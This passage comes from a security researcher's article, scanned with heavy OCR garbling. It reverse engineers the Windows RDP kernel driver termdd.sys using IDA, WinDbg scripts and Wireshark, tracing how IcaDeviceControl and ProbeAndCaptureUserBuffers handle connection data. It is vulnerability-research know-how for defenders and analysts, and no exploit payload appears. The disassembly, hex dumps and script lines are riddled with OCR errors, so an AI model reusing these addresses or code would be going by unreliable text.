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M Wireshark - Decode 4s... ? >
Field Value Type Default Current
TCP port 3389 Integer, base 10 (none) TPET [
— |TCPport 3000 Integer, base 10 GSM owver IP G5M owver [P ==
56:9)
19
+| = W E‘b Cr [Uisers [admin [Aoo0sts [Raaming [Wireshark [decode a5 entries
Save Cancel Help
X
@Home ] 5‘[1022] Windows 7 x64 ] |J_"_'|'i[5?01] Windows Seven Ultima. .. ] 5‘[5991] Windows 10 Pro (x... ]
:l M import_20190710054131_a07248.pcapng
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help
o4 W20 IBBRBRe=TsEEacan
o
Erver : [ilrdp
012 pal | No. Time Source Destination Protocol  Length Info
xb4 1 0.000000 loiloil-gl A RDP 73 Negotiate Request
even L
sional
019 5t
P Prof
P Prof
[Coloring Rule String: tcp]
» Ethernet II, Src: Send_@@ (28:53:45:4e:44:080), Dst: Receive 9@ (20:52:45:43:56:88)
> Internet Protocol Version 4, Src: 1.1.1.1, Dst: 2.2.2.2
> Transmission Control Protocol, Src Port: 5888, Dst Port: 3389, Seq: 1, Len: 19
¥ TPKT, Version: 3, Length: 19
Version: 3
Reserved: @
Length: 19
> IS0 8@73/X.224 COTP Connection-Oriented Transport Protocol
v Remote Desktop Protocol
Type: RDP Negotiation Request (@x@l)
» Flags: exeae
Length: &
» requestedProtocols: @x@eeeeesl, TLS security supported
GoEe 28 52 45 43 56 @@ 28 53 45 4e 44 9@ @5 00 45 68 RECV: 5 END---E-
0010 @@ 3b 12 34 @@ e ff @6 a3 83 @1 @1 @1 el 82 82
0020 B2 @2 13 B3 od 3d 9@ @@ 90 13 00 90 00 00 S50 80
@a3a 20 @@ 56 f7 @@ ee ae Ba ea
GE4E BB 81 B8 B8 BB 61
That file will be decoded as TPKT in wireshark.
' .
That's the complete script. A
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-~

Location ‘
a Edit script

) Conditig
| ol Please enter script body
| bddress=cpu.ri2

B size=cpu.rbp

[H: |if (size<exleea):

filename=r"C:\Users\ricardo\Desktop\pepe.txt™
3 L1mM out=cpen(filename, "ab")
1T sy dbgr =True
1 [ sd data = GetManyBytes(address, size, use_dbg=dbgr)
str=""
Ld for 1 in range(size):
str+= "¥82x “"¥ord({data[i])

Hardw out.write(str)
| else:
i R4 print “EXCEED"

. Line:1  Column:l
Scripting language Python = | Tab size Compile
Group
Cancel Help

Using that script, the dump file is created, when it is imported as a hexadecimal file in Wireshark, it is displayed

perfectly.

Mo. Time Source Destination Protocol Length Info
1 &.ee0e08 1.1.1.1 2.2.2.2 TPKT 2176 Continuation

Ethernet II, Src: Send @@ (20:53:45:4e:44:00), Dst: Receive 00 (20:52:45:43:56:00)
Internet Protocol Version 4, Src: 1.1.1.1, Dst: 2.2.2.2
Transmission Control Protocol, Src Port: 5888, Dst Port: 3389, Seq: 1, Len: 2122
TPKT, Version: 3, Length: 19
IS0 B@73/X.224 COTP Connection-Oriented Transport Protocol

“ Remote Desktop Protocol

This work can be done also by importing the SSL private key in wireshark, but | like to do it in the most manual

way, old school type.

STEP 4) More reversing

We are ready to receive and analyze our first package, but first we must complete and analyze some more

tasks that the program performs after what we saw before receiving the first package of our data.
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MAJOR_FUNCTION @xalL

chunk_CONNECTION exfffffaseed4a9ldeal
MAJOR_FUNCTION @xelL

chunk stack @xBAS exfffffaseesbaveleL
MAJOR_FUNCTION @xal

chunk_channel @xfffffaB@ass97eadl

guarda RDI DESTIMNATION @xfffffaseesso7eadl
MAJOR_FUNCTION @x3L|

We can see that there are a few more calls before starting to receive data, a couple more calls to the driver.

MAJOR_FUNCTION @xalL

chunk_CONNECTION exfffffasee7lcfeleL
MAJOR_FUNCTION @xalL

chunk_stack @xBAS exfffffaBeecbeedsal
MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @xel

MAJOR_FUNCTION @x@L|

chunk_channel @xfffffaspadslcIcal
guarda RDI DESTINATION éxfffffaseed4slc3cal
MATJOR_FUNCTION @xel

MAJOR_FUNCTION @x3L

The part marked in red is what we have left to analyze from the first connection without sending data.

I will modify the conditional breakpoint to stop at the first MajorFunction = OxE.

stion

¥ Edit script = L
ditig L
Pl ter script bod I
tin| F1EaSe enter script body
import idautils
1Eq |.
if (cpu.rcx==Bue):
1 Hz print"MAJOR_FUNCTION™, (str(hex{cpu.rcx)))
BREEAK
Tu 0
15y
1 54
Lg
ardw
R
Line:4  Column:13
W
Scripting language | Python = | Tab size Compile
=
Goncd | [
Jp I—

Pl o B | LI .

It will stop when MajorFunction = OxE

https://www.coresecurity.com/node/63548 30/61



8 @&

Debug View Structures [x] Local Types B = Enums a
IDA View-RIP 8 B Trace window B E Database rotepad [ W Function calls: IcaDispatch  [] Breakpoints [x] 18 General registers
RAX 0000000000000001
I_ RCX BB0000B00000000E 4
ROX T
[ RSI FFFFFAS004F65690
RDI FFFFFAS@B5AS97AR
£t IFFFFFBBOA3FODELZ ; ~- - === === === m oo REP FFFFFES086828868 4
.text:FFFFF380@3FID612 RSP FFFEFS5006028898
.text:FFFFF880@3FID612 loc FFFFF85003FID612: ; CODE XREF: IcaDispatch+441j
.text:FFFFF380@3FID612 cmp ecx, ebx Modues [ (5] Modue:t
-text:FFFFF388@3FID614
Ltext: 4 loc_| DE14: Function name
. text :FFFFF880@3FID614 jz loc_FFFFFB80@3FID748 I:a-ch
¥ 11 [F] rdbss_| nDispatcher
E=E rdbss_RxDispatchToWorkerThread
rdbss_RxpDispatchChangeBuffering
.text:FFFFF88003FIDELA sub ecx, 2 dbos B it
.text:FFFFF88003FAD61D jz loc_FFFFFE8083FID714| i i
T <
-  J ® | dispat
100.00% (8077,533) (1,175) 00003R12 FFFFF88003FSDELZ: IcaDispatch:loc FFFFF88003FSDEL2 (Synchronized with RIP) Line1of 7
[Z] Hex view-1 O & X [3] stackview
AB @2 BF 34 48 B4 B8 80 48 85 F6 74 88 4C u‘"..,,@...ﬂ.‘.ﬁt.L A |[FFFFFE8@@3FOBFEE  @448848F82A88875
88 6E 10 44 8B 66 18 48 BB 85 @@ 01 @0 0@ 48 85 «n.D«F.H¢ H... BB@A3F9BFE8 4(B874F685450000 .
C@ 74 2D 4C 8D 4C 24 58 45 8B C4 49 8B DS 48 8B At-L.LSXE(AI<OH« 83003FIBF70 4818668B44106E8B
C8 FF 10 48 85 F6 74 @B 33 D2 48 8B CE FF 15 @D Ey.H.5t.30H¢Iy. . 603FOBF78  8543000001088588
73 0@ 00 4% 8B 74 24 58 4C 8B 6E 10 44 8B 66 18 s..HESXL(n.Def. 003FOBFE  58244C8DAC2D74CO
000023€0 FFFEF28003F9BFe0: IcaChannelInputInternal+l4C v |(000023€A FFFFFE8003F9BFEA: IcaChannelInputlnter

Output window

Caching "Modules'... ok

MAJOR_FUNCTION @xel|

chunk_CONNECTION exfffffaseesfeabseL
chunk_stack_@xBAs exfffffaseesbcs4seL

We arrived at IcaDeviceControl.

=

.text:FFFFFEB8B3F9D6EL ;
j| |-text:FFFFFEE8@3FIDEE1
.text:FFFFF88083F90681 loc_ FFFFFBBM@3F9D681:

.text:FFFFFEE8B3FODEE]L mov

; CODE XREF: IcaDispatch+1C9tj

rdi

rex,

.text:FFFFF88083F9D689 jmp

loc_FFFFFE3@803F9D743

We can see that this call is generated when the program accepts the connection, calling

ZwDeviceloControlFile next.

Output window

Child-spP

fffffasze e42za340
fffffasze a42z@3080
fffffase e49a88de
fffffese” 849aBab0
fffffege” e49aBa70
aepapapa” BeTadfyE
aoaapaaa” asfadfae
aoappeaa” asfadffa
aoappeaa” T3040
aoaapeaa” asfiea0a
eepeeRRE” BeTEe108
aepaeeRa” BeTBelel
aepaeRRa” BeTEelcd
aeppappa” BefBe2ln
ooappeaa" 85T3e730
aoaape0a” @6T3e790
aoappe0a" 85f3ea00
aoaapean” asfafeda
epaapena” asfafose

RetAddr

fffffase e3fodeas
fffffsea 82bfces7
fffffaea @2bfcees
fffffeea 828e5253
PRREEeR” 77a7138a
peeea7fe” f97el3ad
aaaaa7fe” f97elb4s
eaepe7fe” fo7elabe
eaepe7fe” fefeded?
aaapa7fe” fopl2bge
aaeea7fe” fopdbeas
aaepa7fe” fa7elaz9
aaeaa7fe” f97elcsh
peeaaTfe” f97elbel
eaapa7fe” f97e31le8
aappa7fe” f97e2692
eaepa7fe” foBBcTba
aaaaa7fe” foplledb
aaaea7fe” fadd37e8

Call site

termdd! IcaDeviceControl+@xll

termdd! IcaDispatch+@x215
nt!TopXxxControlFile+axea7
nt!NtDeviceIoControlFile+8x56
nt!KiSystemServiceCopyEnd+8x13
ntdll!ZwDeviceloControlFile+@xa

it | TcaloControl+8xdd

ICAAPTI ! IcastackIoControlWorker+@x9c
ICAAPI!IcastackIoControl+@xs4
rdpwsx!WsxIcaStackIoControl+@xe3
rdpcorekmts | Chsx: 1 StackIoControl4@x56

rdpcorekmts | CStack: istaticExtensionIoControl+@xshb
ICAAPT ! IcaStackIoControl+8x65

ICAAPT! IcaPushPd+@xdb

ICAAPT ! IcaPushstack+@x1as

ICAAPT ! IcaPushstackAndOpenEndpoint+8x1138

ICAAPT ! IcastackConnectionAccept+@xd2
rdpcorekmts | CStack: Accept+@xie

rdpcorekmts | CKMRDPConnection: tAcceptConnectiont@xd?

WINDEG |

We can see that IRP and IO_STACK_LOCATION are maintained with the same value, fileobject has changed.
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Library function eqular function ll Instruction | Data [ Unexplored xternal symbol [l Lumina function
Debug View a @ Structures
DA View-RIP B =7 Trace window @ Database notepad

=] Local Types
= Breakpoints

Enums

1Bt General registers

.text:FFFFF88003FOD974 arg 8= qword ptr 1oh
.text:FFFFF88B@3FI0O74 P= quord ptr 18h
.text:FFFFF88093FOD974

.text:FFFFF88B@3FIDO74 mov [rsptrbx_stored], rbx
.text:FFFFF88093FOD979 push  rbp
.text:FFFFF88B@3FIDO7A push  rdi
.text:FFFFF88093FODO78 push  rl2
.text:FFFFF88B@3FIDO70 sub rsp, 38h
.text:FFFFF88093FOD981 mov
.text:FEFFF88B@3FIDO85 and
.text:FFFFF88093FOD988 and
_text:FFFFF88B@3FADIIL mov
.text:FFFFF88093FOD994 mov
.text:FFFFF88BB3FIDAIY test  rax, rax
.text:FFFFF88003FODI9A jnz short loc FFFFF88003FIDIAG

[rsp+adhtarg_8], @
[rsp+48h+P], @
rbp, rdx

rax, [rdx+ IO STACK LOCATION.FileObject] ; RDX=IO STACK LOCATION

; RBP=I0_STACK_LOCATION
5 pIrp

AN
RCX FFFFFAS007461010 %
/ RDX FFFFFAS0@74610E@

RSI FFFFFABBBAFE5698 '

RDI FFFFFABBG7461818 '
RBP FFFFFB88805CDSB6A "
RSP FFFFF828005CD5840
RIP FFFFF880@3FODI35 %%
RB FFFFFAS@B4FE5870@

Modules

Function name
|£] IcaDeviceControlConnection

IcaDeviceCo

Module: ROPWWI

i =

[@B&vicecontrol

EEXEZFFFFFBBBOIFODOAG § === = === =

.text:FFFFFBBBA3FID9AG

.text:FFFFFBB@@3FID9A6 loc FFFFFBBO@3FIDIAG:

.text:FFFFFBBB@3FID9A6 mov.
.text:FFFFFE8@0@3FIDIAA mov
.text:FFFFFBBB@3FID9AF cmp
.text:FFFFFB8003FOD9B4 jz

quord ptr

short loc |

[rax+78h], @
FFFFF880@3FID39C

; CODE XREF: IcaDeviceControl+261j
riz, [rEK+_FILE_DEJE(T. Fs(untEKt_(hunk_(DNNE(TIDN]
rax, [r12+3]

IcaDeviceControlKeyboard

IcaDeviceControlStack

_lcaDereferenceSdLoad
_lcaDelayedWorker

lcaDeviceCantrolVideo
IcaDeviceControlVirtual

f O & X [T Hex View-1

<
[ (] #® [ icade
100.00% (-141,1€3) (1153,209) 00003D8S FFFFFe8003F9DS6S5: IcaDeviceControltll (Synchronized with RIE) Line4 of 10
O & x | (3 stackview

BF6@ @F 84 40 B4 90 B0 48 85 F6 74 88 4C A B440848F 8875

F 8B 66 18 48 8B 85 8@ @1 @@ @0 48 85 4ces
BD 4C 24 58 45 8B C4 49 8B D5 48 8B . 4818668B44186E85
C8 FF 18 48 85 F6 74 @8 33 D2 48 8B CE FF 15 6D Ey.H.ot.30H<Iy.. 8548000001085583
73 80 @0 48 BB 74 24 58 4C 8B 6E 10 44 BB 66 18 s..H(t$XL(n.D«f. 58244(8D4C2D74C8
B8 45 85 E4 OF 84 (6 03 08 00 45 33 FF 83 BF 80 00 E.d..A...E37f¢€. 8B48D58B4ICABEAS

| 00002360 FFFFF288003FSBFE0: IcaChannelInputInternal+l4C v [(0000236A FFFFF88003F9BFéA: IcaChannellnputInte

Qutput window

Caching ‘Modules’.
Caching ‘Local T

k
508746188

X fapeesfeassal
I0_STACK_LOCATION exfffffasee746leeal
IRP exfffffagee7461010L

FILE OBJECT exfffffade@6bcli3oL -

chunk_stack_@xBA8 @xfffffaseesbcsasal

We will Leave the previous structure called FILE_OBJECT for the previous call, and we will make a copy with

the original fields called FILE_OBJECT_2, to be used in this call.

jnz short loc_FFFFFEEB@3FID9AG

i e =]

text:FFFFFE88@3FI09AG
text:FFFFFE88@3FI09AG

.text:FFFFFEERA3FI09A6 loc FFFFFBE@B3FODOAG:
text:FFFFFE8883FID9A6 mowv
text:FFFFFE8@883FID9AA mowv
text:FFFFFE8@83FID9AF cmp
.text:FFFFFEERA3FID9B4 jz

ri2, [rax+18h]
rax, [rl2+8]
gword ptr [rax+j
short loc_FFFFFY

:rol:loc FFFFFE28003FSD3AE (Synchronized with RIP)

Operand representation
10 STACKE_LOCATIOMN.Parameters. Create. Filefttributes
_10_STACK_LOCATION.Parameters.QueryDirectory. FilelnformationClass
_1O_STACK_LOCATIOM.Parameters.QueryFile.Length+10h
_1O_STACK_LOCATIOM.Parameters.SetFile.FileObject

_10_STACK_LOCATIOM.Parameters.FileSystemControl FsControlCode

_FILE_OBJECT.FsContext_chunk_COMNMNECTION

The previous FILE_OBJECT was an object that was obtained from ObReferenceObjectByHandle.

LEuuyY view

IDA ViewRIP

=] Ly STrUCTIres

Trace window E

a £

Database notepad Ed]

Local 1ypes (E=1)

Breakpoints

TTTTGOUOSTADOES LEd
FFFFFBBAA3FAGBEA mov
FFFFFBBBA3FAGBED mov
FFFFFE8BA3FAGBF2 mov
FFFFFE8@@3FAGBFS mov rab, 1
FFFFFE88@3FAGBFS mov edx,

FFFFF88@8@3FAGBFD call
FFFFFBB8A3FAG103 mov
FFFFFE8BA3FAGLAS test
FFFFF88003FAG107 js

TCX; [T
r8, qword ptr [rax+ FILE_OBJECT.Type] ; ObjectType
[rsp+a8htp_Object], rex
rcx, gword ptr [rbx+(chunk_SystemBuffer.Handle-1Bh)] ; Handle

cs:_ imp_ObReferenceObjectByHandle
edi, eax

eax, eax

short loc_FFFFF330@3FAG185

PFFGITF UDJECT]
; Object

3 AccessMode
; Desirediccess

L]

PAGE : FFFFFB8@@3FAG6189 mov
PAGE : FFFFFB8883FAG10E mov
PAGE : FFFFFBB@B3FAG115 cmp
PAGE:FFFFF88083FAGL19 jz

rcx, [rsp+48h+ Object]
rax, cs:IcaDeviceObject

short loc_FFFFF88BB3FAGB122

[rcxt+ FILE_OBJECT.DeviceObject], rax

3 chunk_connection aca

PAGE:FFFFFB8B@3FABL22 ;
PAGE : FFFFFE8@803FAG122
PAGE:FFFFF88@@3FA6122 loc FFFFF380@3FAG6122:

PAGE : FFFFFB8883FA6126 cm)

rsi+chunk CONNECTION.const _cero

The new FILE_OBJECT has the same structure but is a different object, for that reason we create a new

structure for this.
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TCalevicelontrol
IcaDeviceControl IcaleviceControl proc near ; CODE XREF: IcaDispatch+21@tp
IcaDeviceControl 3 HandleMonitorCall+e74p
IcaDeviceControl 3 DATA XREF:
IcaDeviceControl
IcaDeviceControl var_28= qword ptr -28h
IcaDeviceControl rbx_stored= gqword ptr 8
IcaDeviceControl arg_B= gqword ptr 1@h
IcaDeviceControl P= gqword ptr 18h
IcaDeviceControl
IcaDeviceControl may [rsptrbx_stored], rbx
IcaDeviceControl+s push rbp
IcaDeviceControl+6 push rdi
IcaDeviceControl+? push r12
IcaDeviceControl+9 sub rsp, 3@h
IcaDeviceControl+D ma rax, [rdx+_I0 STACK LOCATION.FileObject] ; RDX=IO0_STACK LOCATION
IcaDeviceControl+ll  and [rsp+48h+arg_8], @
IcaDeviceControl+l?  and [rsp+a8h+P], @
IcaDeviceControl+ll  mov rbp, rdx ; RBP=I0_STACK_LOCATION
IcaDeviceControl+28  mov rbx, rox ; p_Irp
IcaDeviceControl+23  test rax, rax
IcaDeviceControl+26  jnz short loc_FFFFFE3@83FIDJAG
_ Y
FEIE]
IcaleviceControl+32 ;-
IcabDeviceControl+32
IcaDeviceControl+32  loc_FFFFFE8@@3FI09A6: ; CODE XREF: IcaDeviceControl+26tj
IcaDeviceControl+32  mov rl2, [rax+FILE_OBJECT_2.FsContext]
IcaDeviceControl+36 mov rax, [rl2+ FSRTL_ADVANCED_ FCB_HEADER.Resource]
IcaleviceControl+3B  cmp [rax+(_ERESOURCE.SystemRescurcesList.Flink+7@h}], @
IcaleviceControl+4e  jz short loc_FFFFFE38@3FI099C
L J
IcaDeviceControl+42  lea ré, [rsp+i8h+r]
IcaDeviceControl+47  lea rdx, [rsp+48h+arg_ 3]

IcaDeviceControl+4C  call ProbeAndCaptureUserBuffers
IcabDeviceControl+51  test eax, eax
Tralewirsfnntralis2 dinz zhnrt Tnr FEFFFRAARIFONLIN

We continue reversing ProbeAndCaptureUserBuffers

# @ 'Ej Trace window |_=j Database notepad Breakpoints
e e B == =L Foosmer = =
ProbeAndCapturelserBuffers ProbeAndCapturelserBuffers proc near 3 CODE XREF: IcaDeviceControl+4Ctp
ProbeAndCaptureUserBuffers ; DATA XREF: .pdata:FFFFF33@83FA5284l0
ProbeAndCapturelserBuffers
ProbeAndCapturelserBuffers InputBufferLength= dword ptr -58h
ProbeAndCapturelserBuffers InputBufferLength_aligned= dword ptr -54h
ProbeAndCapturelserBuffers var_5@8= dword ptr -58h
ProbeAndCaptureUserBuffers P= gword ptr -48h
ProbeAndCapturelserBuffers p_I0_STACK_LOCATION= qword ptr -48h
ProbeAndCapturelserBuffers arg_@= qword ptr B8
ProbeAndCapturelserBuffers arg_8= gqword ptr 18h
ProbeAndCapturelserBuffers arg_lé= gword ptr 18h
ProbeAndCaptureUserBuffers OutputBufferLength= qword ptr 28h
ProbeAndCaptureUserBuffers
ProbeAndCapturelserBuffers mov rax, rsp
ProbeAndCapturelserBuffers+3 mov [rax+18h], r&

ProbeAndCapturelserBuffers+? mov [rax+1@h], rdx
ProbefAndCapturelserBuffers+B mov [rax+8], rcx

ProbeAndCaptureUserBuffers+F push rbx
ProbeAndCapturelserBuffers+1@  push rsi
ProbeAndCaptureUserBuffers+1l  push ri2
ProbeAndCapturelUserBuffers+13  push rl3

ProbeAndCapturelserBuffers+15  push rl4

ProbeAndCaptureUserBuffers+17  push rls

ProbeAndCapturelserBuffers+19  sub rsp, 48h

ProbeAndCapturelUserBuffers+1D  mov rsi, ré 3 p_chunk_OutputBuffer
ProbeAndCapturelserBuffers+28  mov rbx, rdx 3 p_chunk_Input Buffer
ProbeAndCapturelserBuffers+23  mov rl4, rex ; p_IRP

ProbeAndCaptureUserBuffers+26  and gword ptr [rax-43h], @

ProbeAndCapturelserBuffers+28  and gqword ptr [rdx], @

ProbeAndCaptureUserBuffers+2F  and gword ptr [r8], @

ProbeAndCapturelUserBuffers+33  mov rl3, [rcx+_IRP.Tail.Owverlay.  ud.CurrentStacklLocation]
ProbeAndCapturelserBuffers+3A mov [rsp+78h+p_I0 STACK LOCATION], rl3 ; rl3=I0 STACK LOCATION
ProbeAndCaptureUserBuffers+3F  mov eax, [rl3+_T0 STACK LOCATION.Parameters.DeviceIoControl.IeControlCode]
ProbeAndCaptureUserBuffers+43  and eax, 3

ProbeAndCapturelserBuffers+46  mov r15d, [r13+_I0_STACK LOCATION.Parameters.DeviceloControl.InputBufferLength]
ProbeAndCapturelUserBuffers+4A  mov [rsp+78h+InputBufferLength], rl5d

ProbeAndCapturelserBuffers+4F  mov ecx, [rl3+_T0 STACK LOCATION.Parameters.DeviceIoControl.OutputBufferLength]
ProbeAndCapturelserBuffers+53 mov dword ptr [rsp+78h+0utputBufferLength], ecx

ProbeAndCaptureUserBuffers+54  cmp [rla+ IRP.RequestorMode], @

ProbeAndCapturelserBuffers+5F  jnz short loc_FFFFFE8@@3FIDACE

I 541 OAONRFARR FREFFRAMOAZFTANARR -  tewt-termdd DrobhelndlanturellserPBuffars+138 (Svnchrondi=ed with RTDY

A new chunk with the size (InputBufferLenght + OutputBufferLenght) is created. A

https://www.coresecurity.com/node/63548 33/61



o =
sbeAndCapturelserBuffers+B3  lea rl2d, [ri15+7] 3 r15=InputBufferLength
sbeAndCapturelserBuffers+87  and rl2d, -8
abeAndCaptureUserBuffers+BE  mov [rsp+78h+InputBufferLength_aligned], rl2d
sbeAndCapturelserBuffers+C@  lea eax, [rl2+rcx] 3 suma Input and Output buffer sizes
abeAndCapturelserBuffers+C4  test eax, eax
abeAndCaptureUserBuffers+C6  jnz short loc_FFFFFE2@@3FODB27 3 suma Input and Output buffer sizes
' L]
e = [
ProbefndGopturellserBaffersy S g——————————————— Pr
ProbeAndCapturelUserBuffers+D7 Pr
ProbeAndCaptureUserBuffers+D7  loc_FFFFF88@@3F9DB27: ; CODE XREF: ProbeAndCaptureUserBuffers+Cetj Pr
ProbeAndCapturelUserBuffers+D7 ; DATA XREF: .rdata:termdd_OutBufPoolAllocSizes+28Cic| (Pr
ProbeAndCaptureUserBuffers+D7  mov edx, eax 3 suma Input and OQutput buffer sizes Pr
ProbeAndCaptureUserBuffers+D9  xor ecx, ecx ; PoolType Pr
ProbeAndCaptureUserBuffers+DB  mov réd, 'cisT® ; Tag Pr
ProbeAndCaptureUserBuffers+El  call cs:__ imp_ExAllocatePoolWithQuotaTag Pr
ProbeAndCaptureUserBuffers+E7  mov rll, rax Pr
ProbeAndCaptureUserBuffers+EA  mov [rsp+78h+P], rax Pr
ProbeAndCaptureUserBuffers+EF  jmp short loc_FFFFFB8083FIDB70 Pr
| L
Stores the pointers to the Input and Output buffers chunks.
FFFFF880@3F9DB8S 3 rbx es pchunk_Input_Buffer |
L
ProbeAndCapturelserBuffers+13s ; - -
ProbeAndCapturelserBuffers+135
ProbeAndCapturelserBuffers+135 loc FFFFFE3@@3FIDBES: ; CODE XREF: ProbeAndCapturelserBuffers+1231j
ProbeAndCapturelserBuffers+135 mov [rbx], rll1 3 rbx es pchunk_Input_Buffer
ProbeAndCapturelserBuffers+138 add riz, ril
ProbeAndCapturelserBuffers+13B  mov [rsi], r12 ;3 rsi es p_chunk_OutputBuffer
I ‘r 1
We can see that IcaUserProbeAddress is similar to nt! MmUserProbeAddress value
DriverEntry+15  mov rax, cs:_ security cookie
DriverEntry+1C xor rax, rsp
DriverEntry+1F Wi [C=ptfBRhtyar 281, rax
DriverEntry+27 Imov rax, cs:MmUserProbefddress I
DriverEntry+2E  and cs:IcaTotalNumdtstacks, @
DriverEntry+35  mov rbx, rox
DriverEntry+38  mov rcx, [rax] =
DriverEntry+3B  and cs:pkeepAliveThreadObject, @
DriverEntry+43  lea rax, IcaSdlLoadlListHead
DriverEntry+4A  mov cs:qword _FFFFFEBBB3FA4638, rax
DriverEntry+51  mov cs:IcaSdloadlistHead, rax
DriverEntry+58 lea rax, IcaStackListHead
DriverEntry+5F  mov cs:qword _FFFFFEBBB3FA4578, rax
DriverEntry+66  mov cs:IcaStacklListHead, rax
DriverEntry+6D  mov cs:IcalextStack, rax
DriverEntry+74  lea rax, IcaFreeOutBufHead
DriverEntry+7B  mov rbp, rdx
DriverEntry+7E  mov cs:IcalserProbefAddress, rcx
That's used to verify whether a user-specified address resides within user-mode memory areas, or not.
If the address is lower than IcaUserProbeAddress resides in User mode memory areas, and a second check is
performed to ensure than the InputUserBuffer + InputBufferLenght address is bigger than InputUserBuffer
address.(size not negative)
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e
ProbeAndCapturelUserBuffers+141 jz

Trou;TIow

short loc_FFFFF88683F9DBCE

ProbeAndCapturelUserBuffers+15A
ProbeAndCaptureUserBuffers+15D
ProbeAndCaptureUserBuffers+16@
ProbeAndCapturelUserBuffers+163

mov rex, rax
add rax, rg
cmp rax, rcx
jnb short lo

c_FFFFF88@@3F9DBES

A J

ProbeAndCaptureUserBuffers+143 mov réd, rlsd ; Size
ProbeAndCaptureUserBuffers+146 mov rax, [rl3+_I0 STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer] ; TypeInt3Buffer es InputUserBuffer
ProbeAndCaptureUserBuffers+14A lea rcx, [ré+rax]
ProbeAndCaptureUserBuffers+14E mov rdx, cs:IcalserProbeAddress 3 Prueba el InputUserBuffer mas el InputBufferLength
ProbeAndCaptureUserBuffers+155 cmp rcx, rdx
ProbeAndCaptureUserBuffers+158 Jja short BAD

*—'l

FIZIE]

5

bl a5

ProbeAndCaptureUserBuffers+168
ProbeAndCaptureUserBuffers+168
ProbeAndCaptureUserBuffers+168
ProbeAndCaptureUserBuffers+16C
ProbeAndCaptureUserBuffers+16F
ProbeAndCaptureUserBuffers+174

loc_FFFFF88@@3F9DBES:

mov

mov rcx, rll

call memmove

jmp short loc_FFFFF888@3F

; CODE XREF: ProbeAndCaptureUserBuffers+163tj
rdx, [rl3+ IO STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer] ; InputUserBuffer

3 pchunk_Input Buffer

SDBCA

Then the data is copied from the InputUserBuffer to the chunk_Input_Buffer that has just allocated for this

purpose.

ProbeAndCapturelUserBu
ProbeAndCapturelUserBu
ProbeAndCapturelUserBu
ProbeAndCapturelUserBu

L J

We can see the data that the program copies from InputUserBuffer, it's not data that we send yet.

-
WINDBG>db rdx
eeepaaee" BeTEe210
eeopaaeR" BeTE220
eeepaaeR” BeTEe230
eeeapaaee” BeTEe248
eeepaaee” BeTEe258
apaaeeae” 85T8e260
apaapaae” @stae270
ae000a00" B6TEe230

38888

S333ITERE

52
aa

[

74
aa
aa
aa
aa
6t

e ]
aa

SENS3888
S38338838
SSS83888
SEU2383¢F

63
aa
aa
aa
aa
66

2e
86

38338838
SS833888

78 88 B8 e

aa a8 Ba e ......
aa a8 Ba aa  ......
aa a8 Be aa  ......
4d 88 B9 BB  ......
74 @8 20 ae

31 @@ &8 @2 R.D.P.
aa ee Be el ......

Leeatudoticapa.,

Since the OutputBufferLength is zero, it will not copy from OutputUserBuffer to the chunk_OutputBuffer.

ProbeAndCaptureUserBuffers+17a
ProbeAndCaptureUserBuffers+174

loc_FFFFF83@@3F9DBCA: ]

CODE XREF:

ProbeAndCaptureUserBuffers+1741j

ProbeAndCaptureUserBuffers+178 mov eax, dword ptr [rsp+78h+OutputBufferLength]
ProbeAndCaptureUserBuffers+181 test eax, eax
ProbeAndCaptureUserBuffers+183  jz short loc_FFFFFB8@@3FIDBFC
1] L]
ProbeAndCapturelserBuffers+185 mov rbx, rax ProbeAndCaptureUserBuffers+1AC ; --------------------mmom oo
ProbeAndCaptureUserBuffers+188 mov réd, 1 3 Alignment ProbeAndCaptureUserBuffers+1AC
ProbeAndCaptureUserBuffers+18E mov rdx, rax 5 Length ProbeAndCaptureUserBuffers+1AC loc_FFFFF88@@3F9DBFC: ; CODE
ProbeAndCaptureUserBuffers+191 mov rcx, [rla+ IRP.UserBuffer] 3 OutputUserBuffer ProbeAndCaptureUserBuffers+1AC  and gword ptr [rsi], @
ProbeAndCaptureUserBuffers+195 call cs:_ imp ProbeForkrite
ProbeAndCaptureUserBuffers+198 mov rg8, rbx 3 Size
ProbeAndCaptureUserBuffers+19E mov rdx, [rl4+ IRP.UserBuffer] ; OutputUserBuffer
ProbeAndCaptureUserBuffers+142 mov rex, ril2 3 chunk_outputBuffer
ProbeAndCaptureUserBuffers+1A5 call memmove
ProbeAndCaptureUserBuffers+1Aa  jmp short loc_FFFFFE3@@3FIDCGA
1
¥ L ]
Clears chunk_OutputBuffer and return.
Ut tErsLIA
juffers+17A loc_FFFFF88@@3F9DBCA: ; CODE XREF: ProbeAndCaptureUserBuffers+1741j
Juffers+17A mov eax, dword ptr [rsp+78h+OutputBufferLength]
Juffers+181 test eax, eax
juffers+183 jz short loc_FFFFF88@@3FIDBFC ; pone a cero chunk_OutputBuffer
L
ProbeAndCapturelserBufferstipAC ; -——---—-—---—------------- -~~~ -~~~
3 Alignment ProbeAndCaptureUserBuffers+1AC
3 Length ProbeAndCaptureUserBuffers+1AC loc FFFFF33@@3F9DBFC: ; CODE XREF: ProbeAndCaptureUserBuffers+183tj
uffer] 3 OutputUserBuffer ProbeAndCaptureUserBuffers+1AC  and qword ptr [rsi], @ ; pone a cero chunk_OutputBuffer
te
; Size
uffer] 3 OutputUserBuffer
3 chunk_OutputBuffer
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R&(#Phing from ProbeAndCapture US&HBHHErE K& EXHEEEERACTRISHINEHER E8RIELTHEWBUt and output buffer

of the user mode memory to the new chunks allocated in the kernel memory, for the handling of said data by

the driver
Debug View @] IE Structures Local Types L§§I
IDA View-RIP (%] !?:I Trace window D Database notepad Breakpoints
_ Y

[l et =

IcaDeviceControl432  ; ——--------- - oo oo

ILcaDeviceControl+32

IcaDeviceControl+32 loc FFFFFE8@@3F9D9A6: ; CODE XREF: IcaDeviceControl+261j

IcaDeviceControl+36  mov rax, [rl2+_FSRTL_ADVANCED_FCB_HEADER.Resource]

IcaDeviceControl+3B  cmp [rax+(_ERESOURCE.SystemResourcesList.Flink+7@h)], @

IcaDeviceControl+48  jz short loc_FFFFF88@@3F9D39C
il e =
